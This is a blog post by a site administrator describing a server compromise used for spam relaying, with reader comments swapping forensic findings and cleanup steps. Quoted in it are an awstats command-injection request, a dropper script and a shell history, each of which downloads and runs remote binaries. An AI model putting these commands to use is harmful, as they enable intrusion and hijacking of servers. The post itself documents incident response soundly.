Why I hate spammers so
Well, the black plague has begun to lift, and hopefully I’ll be able to blog a bit more. That being said, I just have to say I hate spammers.
Some of you may thing that you know of the pain I talk of, but I say nay nay. I have to deal with spammers as the system administrator of Mission.net (a place for Return Missioniaries to look for companions, etc). Not only do I have to fight the comment spam, the spam that I get in the e-mail, but I have to protect this host from being used to relay spam. Somehow the spammers seem to feel that their message is so important, that it has to get to you somehow.
I was in the midst of rolling around on my couch, feeling sorry for myself, and making moaning noises (unfortunatly, no one was around to be sympathetic, so those noises went to waste).
Anyways, after the second trip to the doctors, I needed to check something on mission.net and found the following on the server
total 2948
drwxr-xr-x 4 root root 4096 Dec 17 13:24 .
drwxr-x--- 19 root root 4096 Dec 18 15:47 ..
-rwxr--r-- 1 apache apache 33927 Dec 14 16:54 a
-rw-r--r-- 1 apache apache 33927 Dec 14 16:54 a.1
-rw-r--r-- 1 apache apache 33927 Dec 16 06:54 a.2
-rw-r--r-- 1 apache apache 33927 Dec 16 06:54 a.3
drwxr-xr-x 6 apache apache 4096 Dec 16 12:26 .access.log
-rw------- 1 root apache 53 Dec 4 22:58 apache
-rwxr-xr-x 1 apache apache 4172 Dec 3 09:58 cback
-rw-r--r-- 1 apache apache 4172 Dec 3 09:58 cback.1
-rw------- 1 apache apache 8405 Dec 6 14:23 impattI1aPTY
-rwxr-xr-x 1 apache apache 100 Dec 15 22:34 listen
-rw-r--r-- 1 apache apache 100 Dec 15 22:34 listen.1
-rw-r--r-- 1 apache apache 109 Dec 16 05:29 listen.2
-rw-r--r-- 1 apache apache 109 Dec 16 05:29 listen.3
-rw-r--r-- 1 apache apache 1406 Dec 16 09:16 listen.log
-rwxr--r-- 1 apache apache 462172 Dec 15 23:41 pin
-rw-r--r-- 1 apache apache 462172 Dec 15 23:41 pin.1
-rw-r--r-- 1 apache apache 462172 Dec 16 00:42 pin.2
-rw-r--r-- 1 apache apache 462172 Dec 16 00:42 pin.3
-rwxr--r-- 1 apache apache 462396 Dec 16 02:50 pini
-rw-r--r-- 1 apache apache 462396 Dec 16 02:50 pini.1
drwxr-xr-x 3 apache apache 4096 Nov 29 12:33 .test
For the few of you who aren’t hard core computer geeks, this means someone found an exploit with the webserver, and have been writing files, and getting them to do things.
As I explore more, I head over to .access.log (this is a trick that crackers like to use, it makes the file invisable, unless you are looking for it). In this directory I find
httpd livezone log proc run y2kupdate
lang livezone.old motd psybnc.pid scripts
So these yo-yos are spamming-crackers. They get onto a machine, then use the machine to relay mail spam. Most of the time, these hosts are sold to spamming companies as relays.
Fri Dec 16 15:27:01 :Listener created :0.0.0.0 port 8520
Fri Dec 16 15:27:01 :psyBNC2.3.1-cBtITLdDMSNp started (PID :11515)
Fri Dec 16 15:27:01 :Loading all Users..
Fri Dec 16 15:27:01 :Bogus scripting Line in scripts/DEFAULT.SCRIPT Line 50: puthel"; echo PART "$P5"
Fri Dec 16 15:27:01 :Bogus scripting Line in scripts/DEFAULT.SCRIPT Line 53: puthel"; echo PART "$P5"
Fri Dec 16 15:27:01 :Bogus scripting Line in scripts/DEFAULT.SCRIPT Line 50: puthel"; echo PART "$P5"
Fri Dec 16 15:27:01 :Bogus scripting Line in scripts/DEFAULT.SCRIPT Line 53: puthel"; echo PART "$P5"
Fri Dec 16 15:27:06 :User ovidiu () trying helsinki.fi.eu.undernet.org port 6667 (www.mission.net).
Fri Dec 16 15:27:07 :User ovidiu () connected to helsinki.fi.eu.undernet.org:6667 (www.mission.net)
Fri Dec 16 15:27:07 :User ovidiu () got disconnected (from helsinki.fi.eu.undernet.org) Reason: Your host is trying to (re)connect too fast -- throttled
Fri Dec 16 15:27:21 :User senz () trying diemen.nl.eu.undernet.org port 6667 (www.mission.net).
Fri Dec 16 15:27:21 :User senz () connected to diemen.nl.eu.undernet.org:6667 (www.mission.net)
Fri Dec 16 15:27:21 :User senz () got disconnected (from diemen.nl.eu.undernet.org) Reason: Your host is trying to (re)connect too fast -- throttled
Fri Dec 16 15:27:36 :User ovidiu () trying diemen.nl.eu.undernet.org port 6667 (www.mission.net).
Fri Dec 16 15:27:36 :User ovidiu () connected to diemen.nl.eu.undernet.org:6667
(www.mission.net)
Fri Dec 16 15:27:36 :User ovidiu () got disconnected (from diemen.nl.eu.undernet.org) Reason: Your host is trying to (re)connect too fast -- throttled
Fri Dec 16 15:27:51 :User senz () trying lelystad.nl.eu.undernet.org port 6667 (www.mission.net).
You then see this program jumping onto IRC (Internet Relay Chat) where a user can start using this machine to relay spam. It also launches it’s own webserver and many other fun things, that, well, just make me angry.
After archiving all this data, I fixed the exploit they used, removed the cron (a scheduler) and killed all other proccesses being used by the webserver, I restarted the host, confirmed everything was working correctly and I’ve been watching it ever since then.
Right now, the host is getting *lots* of traffic from the remote users trying to use http to control the spamming software, but since it’s no longer around, they can no longer use it. So they are just eating up network sockets waiting.
0 0 mail.mission.net:http ip177-131.netcathost.:34522 TIME_WAIT -
tcp 0 0 mail.mission.net:http ip177-131.netcathost.:34521 TIME_WAIT -
tcp 0 0 mail.mission.net:http ip177-131.netcathost.:34520 TIME_WAIT -
tcp 0 0 www.mission.net:http cache02.nyc.untd.com:62834 TIME_WAIT -
warning, got duplicate tcp line.
tcp 0 0 mail.mission.net:http ip177-131.netcathost.:34515 TIME_WAIT -
tcp 0 0 mail.mission.net:http ip177-131.netcathost.:34514 TIME_WAIT -
tcp 0 0 mail.mission.net:http ip177-131.netcathost.:34513 TIME_WAIT -
tcp 0 0 mail.mission.net:http ip177-131.netcathost.:34512 TIME_WAIT -
tcp 0 0 www.mission.net:http egspd42114.ask.com:40794 TIME_WAIT -
You know, I have better things to do while sick than combatting spamming l0s3rs.
We appreciate all you do, Chris. Mission.net would be dead without you.
Holy crap! (I say this without any speck of sarcasm) You are freaking smart! Apparently I don’t know who I’m dealing with on this little blogosphere… Way to be part of the solution!
Thanks for keeping an eye out for mission.net. We couldn’t survive without you.
Woah! You are one smart fella. Thanks for helping us so much.
I have fought what seems to be almost the same issue all day. we feel sure that they compromised our apache server and somehow setup a scheduled job. In our cse they are using wget to ip address 209.136.48.69 and gets files named “d” (a binary) “qs” (binary) mirela (binary) and listen.log. These files then do the dirty work in the temp directory. It appears they start masssive ICMP traffic outbound. We could never locate the cron job that starts it. In our case we removed wget! for the time being. we also blocked many european networks via our router. We dont consider this resolved yet and some of your info is maybe above us i.e
1. we couldnt find .access.log
2. we couldnt find a cron job
what are we missing? any ideas on where to look next. we dont wanna wipe the server feel free to reply!
Jim.
This sounds like the same exact yo yos. Look for awstats to be the entry point into the system.
66.221.67.91 – – [16/Dec/2005:06:08:41 -0700] “GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2065%2e218%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| HTTP/1.1” 300 826 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)”
Here you can see them chmoding the script so they can make it executable.
Like you, then dropped a few bash scripts like so
#!/bin/bash
cd /tmp
wget 216.15.209.12/pin
chmod 744 pin
./pin
wget 216.15.209.12/a
chmod 744 a
./a
This is a *Safe* bet since the http user only owns a few places on the filesystem, if they were to try one of those places, and fail, they wouldn’t get in. /tmp is almost always safe.
The ICMP traffic is the clients the crackers sell to third party spammers. They connect to the mini http server that’s been started, and start generating mail. How very nice of them.
First things I’d do on your host.
Shutdown httpd
lsof | grep httpuser
httpuser being apache, www, or whatever you’ve named httpd’s user. This will let you know if they have additional processes still running. Kill the procceses ids of any additional processes.
Move any software they’ve left to somewhere else, for later forensics.
If there *are* additional processes, that means a cron has been setup, cron -u httpuser -l to see if there are any. Also check the at system.
atq
Let me know if you have further questions.
This will give you a list of
Christopher,
First let me say I appreciate your responses and your blog. Thank you sir. Second let me say that I am a Novell CNE first, a Microsoft MCP second, and an administrator for a small ISP 3rd. I have had to learn Linux more in depth of late as my Linux administrator recently left my employ. In a way that’s good because I have found out he wasn’t very good. My firewall had more holes than a sponge so I have just dived in. Experience with ISA server cmomes in handy.
We didn’t find any scheduled task or cron jobs but as we researched further we found that a windows 2003 server in our building on the same network had PHP 4.3.6 (which we upgraded to 4.4.1. We also upgraded the windows Perl to version to 5.8.7 build 15. Earlier this week we found the backdoor.usirf virus on it which also creates a file named listen.log and an executable named D that may be what started everything, After the Linux boxes seemed to be clean I revisited the windows box. Reviewing new files created or modified today on that box I found a log file named httpderr.log. In it I saw the following appearing repeatedly in the log file almost every second!
Bad Request DefaultAppPool
2005-12-22 20:03:16 84.246.224.179 57661 10.20.2.196 80 HTTP/1.1 POST /xmlsrv/xmlrpc.php 400 3 BadRequest DefaultAppPool
2005-12-22 20:03:16 84.246.224.179 57693 10.20.2.204 80 HTTP/1.1 POST /xmlsrv/xmlrpc.php 400 27 BadRequest DefaultAppPool
2005-12-22 20:03:17 84.246.224.179 58802 10.20.2.192 80 HTTP/1.1 POST /xmlrpc.php 400 – Hostname –
2005-12-22 20:03:17 84.246.224.179 55989 10.20.2.200 80 HTTP/1.1 POST /phpgroupware/xmlrpc.php
I feel that the old versions of PHP and Perl could have been the doorway and this file xmlrpc.php may be a key part of all this. The ip listed above is not ours and is also in a foreign country. Now here is what’s funny. This remote box is running SSH. Using putty we got a login prompt. I guess he is probably another victim like us as I would doubt a hacker to be so stupid. He has a myriad of open ports also.
As we continue to fight through this a couple of thoughts come to mind.
What can we do to wage war back on these people. My temptation is to buy another T1 or broadband connection and build a protected network and server just to attack back so that if I bring the spammer downs on me with DOS attacks I wont care or maybe I just log em or track em. It wouldn’t connected to my real stuff. I wonder how many allies I could get who might do the same.
Jim,
Based on that info, it looks like we were both being attacked by a variation of the Slapper Worm info is
Here
Here
and
Here
First thing I’d say is either upgrade the packages on the Windows host, or remove xmlrpc.php from the hosts. Unless you are using a remote client to post to your software, it’s not going to do anything bad (that’s all xmlrpc.php does).
As for the attacker, since this is a worm, he most likely is just another poor compromised host. most likely a linux host that isn’t watched all that much.
As for waging a war. The best you can do is just make sure all your software is up to date. Attacking the attacker is shady at best. You can also start complaining to the ISPs of the hosts that are attacking you, which ought to shut down the hosts.
Go to Google and look up “Honeypot Projects” if you’d just like to capture info about the crackers/spammers.
Does that Help at all?
Jouber: No problem.
Oh and Adam and Rachel. It’s my job, somebody has to do it.
Yeah, he’s a genius. I recall one time in our High School Fortran class (yeah, that was worth the time) he almost got some kids kicked out of class. We were sending messages across the LAN to eachother (in DOS of course) and it was a big NO-NO to send messages to the classroom next door. Some hot shot kid thought he was “all that” and sent one. Of course the teachers were smarter than he was and could track who the message came from. Needless to say he got busted, but he still remained pretty full of himself. He was a punk and needed to be punked back. He was nothing but trouble all semester long. My brotha, Chris, or Hardy as I call him, one day decided to give this kid a little payback. So one day he sent a message to the other classroom. Busted. No, not Hardy, the punk kid. I said he’s a genius right? Yeah, well somehow he made the message show up like it came from the punk kid, so when the teachers tracked it, Hardy and I sat back and enjoyed the show. Oh man did that kid squirm! The teachers were smart, but Hardy… he was brilliant. Good thing he’s not on the darkside of the force. Oh yeah, and I am sure he’ll deny this, but I was there, and so was Darcy.
You know Brendo, I don’t remember
Any
Of
This
hint. Hint. If I did anything like this, it was all theoretical. And it was the Stoner Kid, not the punk. (Also, it was I who found the way out of the network, and the messaging software, and how to manipulate the messaging software). Disclaimer: I was just a kid in High School. I was bored. I’ve learned better. – If I ever did this in the first place that is.
And I forgot all about Darcy. A Little Blond girl programming Fortran. Who would have thought?
I find the same yo-yos in /var/tmp/a/.
They used a normal user account to login and wget to download the script.
I found also this in /home/USER/.bash_history
———————————————-
cd /var/tmp
mkdir a
cd a
wget pakatosu.net/psy.tgz
tar xvfz psy.tgz
rm -rf psy.tgz
cd .access.log/scripts
rm -rf *
cd .*.
./config TwT 31337
./fuck
./run
cd /var/tmp
cd a
wget pakatosu.net/psy.tgz
tar xvfz psy.tgz
rm -rf psy.tgz
cd .access.log/scripts
rm -rf *
cd .*.
./config Twt 8080
./fuck
./run
ps x
kill -9 27541
kill -9 27521
cd /var/tmp
cd a
wget CipryK.xhost.ro/Cipri/bot.tgz
tar zxvf bot.tgz
rm -rf bot.tgz
cd bot
./bash
./bash
—————————
-Rony